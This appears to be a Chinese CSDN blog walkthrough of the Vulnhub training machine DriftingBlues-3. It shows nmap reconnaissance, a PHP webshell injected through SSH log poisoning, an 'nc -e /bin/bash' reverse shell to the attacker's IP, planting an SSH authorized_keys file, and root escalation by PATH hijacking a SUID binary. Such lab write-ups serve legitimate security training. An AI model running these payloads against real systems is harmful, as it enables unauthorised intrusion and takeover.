对DriftingBlues-3靶机进行渗透测试

目录

Vulnhub靶机介绍:

Vulnhub靶机下载:

靶机安装:

攻击机扫不到靶机ip的解决方法:

环境信息

渗透测试

一. 信息收集

1、打开kali,查看kali的IP地址和子网掩码

2、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

3、访问网页,查看基本信息

二. 漏洞查找与利用

1、发现漏洞

2、漏洞利用,反弹shell

3、发现新用户,创建公钥

4、使用私钥进行ssh登入,发现flag1

三、提权

1、使用命令查看是否有suid的提权的命令

2、使用环境变量进行命令劫持提权,得到flag

参考文章


Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/driftingblues/driftingblues3.ova

靶机安装:

首先,在VMware主页打开虚拟机

 然后选择靶机镜像,打开

之后导入靶机,选择靶机存储路径,导入

 

 如果出现导入失败,选择重试,稍等片刻,导入成功

攻击机扫不到靶机ip的解决方法:

在开机时按下Shift键进入界面*

按e 键,进入该界面,找到ro

 将ro替换为 rw signie init=/bin/bash

 按Ctrl键+X键,如果没成功说明配置错了需要从新继续配置,如果是下面这个界面说明配置成功。

 查看当前网卡IP信息: ip a

 发现网卡是 ens33 ,然后编辑网卡配置文件:vim /etc/network/interfaces

 重启网卡: /etc/init.d/networking restart

 再次ip a查看,发现有了,然后进行测试,成功

环境信息

靶机:DriftingBlues-3,IP地址:192.168.52.147

攻击机:Kali,IP地址:192.168.52.134

渗透测试

一. 信息收集

1、打开kali,查看kali的IP地址和子网掩码

因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段

靶机的网段是:192.168.52.0/24

netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

 或使用arp-scan -l命令拿到靶机的IP地址

 获得靶机靶机ip:192.168.52.147

2、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.147 
-sV只扫描端口及其版本号
-A扫描端口的详细信息

 目标靶机开放了22、80端口。

3、访问网页,查看基本信息

使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息

 没有检测到CMS信息

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.147 -e * -i 200
-i 状态码    只显示该状态码
-x 状态码    不显示该状态码

 访问http://192.168.52.147/robots.txt,发现了/eventadmins

 继续访问,发现了/littlequeenofspades.html

 继续访问,好像没啥用

 F12查看源代码,发现是一串base64,直接解码

 base64在线解密:Base64在线加密解密-在线Base64加密解密工具-Base64编码解码工具

 再次解密,最终得到了 /adminsfixit.php

 访问/adminsfixit.php,发现是日志文件

二. 漏洞查找与利用

1、发现漏洞

进行ssh登录验证,发现即使是登入失败也会记录进/adminsfixit.php文件

并且注意到登录用户名显示在日志中,也就是说如果我们进行ssh登陆时,可以将用户名写成一句话木马就可以写入进日志文件中

 使用命令:ssh '<?php system($_GET["cmd"]);?>'@192.168.52.147

 http://192.168.52.147/adminsfixit.php?cmd=id #执行成功

2、漏洞利用,反弹shell

既然可以执行命令了那就反弹shell

首先kali开启监听:nc -lvvp 4444

 执行反弹shell命令:

http://192.168.52.147/adminsfixit.php?cmd=nc -e /bin/bash 192.168.52.134 4444

成功

 获得交互shell:

python -c 'import pty; pty.spawn("/bin/bash")'

3、发现新用户,创建公钥

进入home下,发现robertj用户,然后进去,查看隐藏文件,发现打不开user.txt

 ls-al 发现 .ssh文件

 查看.ssh发现里面没有ras

 查看ssh配置文件/etc/ssh/sshd_config,发现可以使用公钥登入,并且给出了文件名/home/robertj/.ssh/authorized_keys

cat /etc/ssh/sshd_config

 那就创建公钥:

首先直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa 
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证:cat id_rsa.pub > authorized_keys

 重命名文件

 然后将私钥复制到本机,因为上面输入了密码:123456 ,所以等下使用私钥进行ssh登入时也要输入密码

4、使用私钥进行ssh登入,发现flag1

使用私钥进行ssh登入:

命令:ssh robertj@192.168.52.147 -i id_rsa

 登录失败

 更改私钥文件的权限,然后登入

chmod 400 id_rsa  #赋予权限
ssh robertj@192.168.52.147 -i id_rsa  #ssh登入
123456   #输入登入密码

 登入成功,发现flag1

三、提权

1、使用命令查看是否有suid的提权的命令

寻找提权点: sudo -l

 发现sudo命令用不了

使用find查看具有s权限文件

find / -perm -u=s -type f 2>/dev/null

 有个 getinfo,不像是本来的二进制文件,执行getinfo发现返回了一些主机的IP信息、hosts文件和os信息,这应该是执行了ip a、cat /etc/hosts、uname -a命令

2、使用环境变量进行命令劫持提权,得到flag

所以我们修改其中一个命令获得root权限。

使用环境变量进行命令劫持提权的原理:在执行getinfo系统命令时,因为getinfo中大概使用了ip命令,所以我们可以自行编写一个同名文件,比如说ip,然后可以添加环境变量,这样getinfo在调用命令时会首先检索环境变量,这样就会调用到我们伪造的cat,执行我们想要的命令,从而达到提权的效果,即使用环境变量进行命令劫持提权

export PATH=/tmp/:$PATH     #把/tmp路径加入到系统路径中,更改环境变量
cd /tmp
echo '/bin/bash' > ip       #创建ip文件,写入/bin/bash
chmod +x ip                 #增加执行权限
/usr/bin/getinfo            #执行

获得 root权限,得到flag2:

参考文章

VulnHub-DRIFTINGBLUES: 3_nmap -sp ip/mask_阿杰_的博客-CSDN博客

看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-3_落寞的魚丶的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值